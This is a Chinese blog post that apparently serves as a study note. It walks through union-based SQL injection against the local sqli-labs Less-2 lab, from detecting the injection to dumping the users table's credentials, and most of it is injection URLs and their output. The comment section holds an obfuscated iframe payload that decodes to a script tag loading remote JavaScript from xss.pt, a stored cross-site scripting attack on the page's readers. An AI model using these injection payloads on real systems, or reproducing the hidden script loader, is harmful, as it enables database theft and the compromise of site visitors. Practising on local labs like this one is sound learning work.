1.判断是否有注入

截屏2020-02-04下午11.19.52.png

1)可控参数(?id=1)的改变能否影响页面

2)输入的SQL语句是否报错——能通过数据库的报错,看到数据库的一些语句的痕迹。

假设其后台语句为(select username,pasword from user where id = ‘?’)要使其报错就要使这语句错误。例如:

加个’

截屏2020-02-04下午11.20.29.png

Version:1.0 StartHTML:000000153 EndHTML:000000838 StartFragment:000000185 EndFragment:000000806 SourceURL:http://127.0.0.1/sqli-labs-master/Less-2/?id=’

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\’ LIMIT 0,1′ at line 1 

上下比对可知:

Version:1.0 StartHTML:000000155 EndHTML:000000768 StartFragment:000000187 EndFragment:000000736 SourceURL:http://127.0.0.1/sqli-labs-master/Less-2/?id=%22 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” LIMIT 0,1’ at line 1

可知 LIMIT 0,1 为mysql的局部代码

来判断注入的类型。

判断是整型或事单引号注入(?这里我自己也有点不明白)

3)输入的SQL语句是否不报错——我们的语句能够成功闭合。

首先

(select username,pasword from user where id = ’?’#‘ LIMIT 0,1)

截屏2020-02-04下午11.39.26.png

没有报错!

说明可以注入

2.什么类型的注入

整型

3.语句是否能够被注入

可以

4.是否能够被成功执行

截屏2020-02-04下午11.42.32.png

可以

(4 and 0)这个语句在执行的时候有可能是这样的

例:select username,pasword from user where id = 4 = 0

因为4 and 0 为假所以为空。

以上的三个条件都已满足,可以认为其可以注入。

5.获取我们想要的数据。

数据库->表->字段->值

1.获取数据库的表。

union (函数用来把来查询到的两个表的数据合并。但是要求两个表的列数要一致。)

所以这是就只能先找到前一个查出的表的列数先。

找列数的方法1:

用union来找,一个一个枚举

例如:

127.0.0.1/sqli-labs-master/Less-2/?id=4(为表一) union select 1,2,3,4(为表二,为猜的数 这里的(1,2,3)只是占位的意思写(111,222,33333333)都是可以的) #

截屏2020-02-04下午11.58.56.png

%20为空格的编号 

试到有3列。

截屏2020-02-04下午11.59.31.png

先来查询当前数据库用户的名字(user()函数)

没有显示是因为前面的语句可以有一条后面的也可以有一条,

但是他在现实的时候默认的输出第一条

截屏2020-02-05上午12.02.51.png

我的做法是用(4 and 0)来讲前面的语句输出为空(但是还是有3列的),把2和user()换一下位置可得。

截屏2020-02-05上午12.07.32.png

用http://127.0.0.1/sqli-labs-master/Less-2/?id=4 and 0 union select 1, group_concat(schema_name),2 from information_schema.schemata

获取到所有的数据库名。

截屏2020-02-05上午12.40.36.png

information_schema,challenges,mysql,performance_schema,security,sys 

找当前数据库名为

截屏2020-02-05上午12.42.35.png

为security

查询当前数据库下的表名

截屏2020-02-05上午12.42.50.png

语句为:

http://127.0.0.1/sqli-labs-master/Less-2/?id=4 and 0 union select 1, group_concat(table_name),2 from information_schema.tables where table_schema = database()

查到其为:Your Login name:emails,referers,uagents,users

Your Password:2 

截屏2020-02-05上午1.05.23.png

一共emails,referers,uagents,users

四个表

我们来看看users表中的信息因为users表中的信息较敏感。

column_name

截屏2020-02-05上午1.33.56.png
截屏2020-02-05上午1.34.44.png

找不到原因写的一样可是我报错

http://127.0.0.1/sqli-labs-master/Less-2/?id=4 and 0 union select 1, group_concat(column_name),2 from information_schema.columns where table_schema = database() and table_name = `users`(感觉是表点的锅不知道啊啊啊啊啊)

截屏2020-02-05上午1.42.25.png

来查到每个人的数据:

http://127.0.0.1/sqli-labs-master/Less-2/?id=4 and 0 union select 1, group_concat(username),group_concat(password) from security.users

查询成功

结果为:

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4 

用concat_ws()函数来一一对应他

截屏2020-02-05上午1.52.03.png

http://127.0.0.1/sqli-labs-master/Less-2/?id=4 and 0 union select 1, group_concat(concat(`:`,username,password)),2 from security.users

也是这一样的推断是引号。

最后修改日期:2020年2月5日

作者

留言

%3Ciframe%20WIDTH%3D0%20HEIGHT%3D0%20srcdoc%3D%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%E3%80%82%26%2360%3B%26%23115%3B%26%2367%3B%26%2382%3B%26%23105%3B%26%2380%3B%26%23116%3B%26%2332%3B%26%23115%3B%26%2382%3B%26%2367%3B%26%2361%3B%26%2334%3B%26%23104%3B%26%23116%3B%26%23116%3B%26%23112%3B%26%2358%3B%26%2347%3B%26%2347%3B%26%23120%3B%26%23115%3B%26%23115%3B%26%2346%3B%26%23112%3B%26%23116%3B%26%2347%3B%26%2350%3B%26%2375%3B%26%23103%3B%26%23101%3B%26%2334%3B%26%2362%3B%26%2360%3B%26%2347%3B%26%23115%3B%26%2367%3B%26%23114%3B%26%2373%3B%26%23112%3B%26%2384%3B%26%2362%3B%3E

撰写回覆或留言

发布留言必须填写的电子邮件地址不会公开。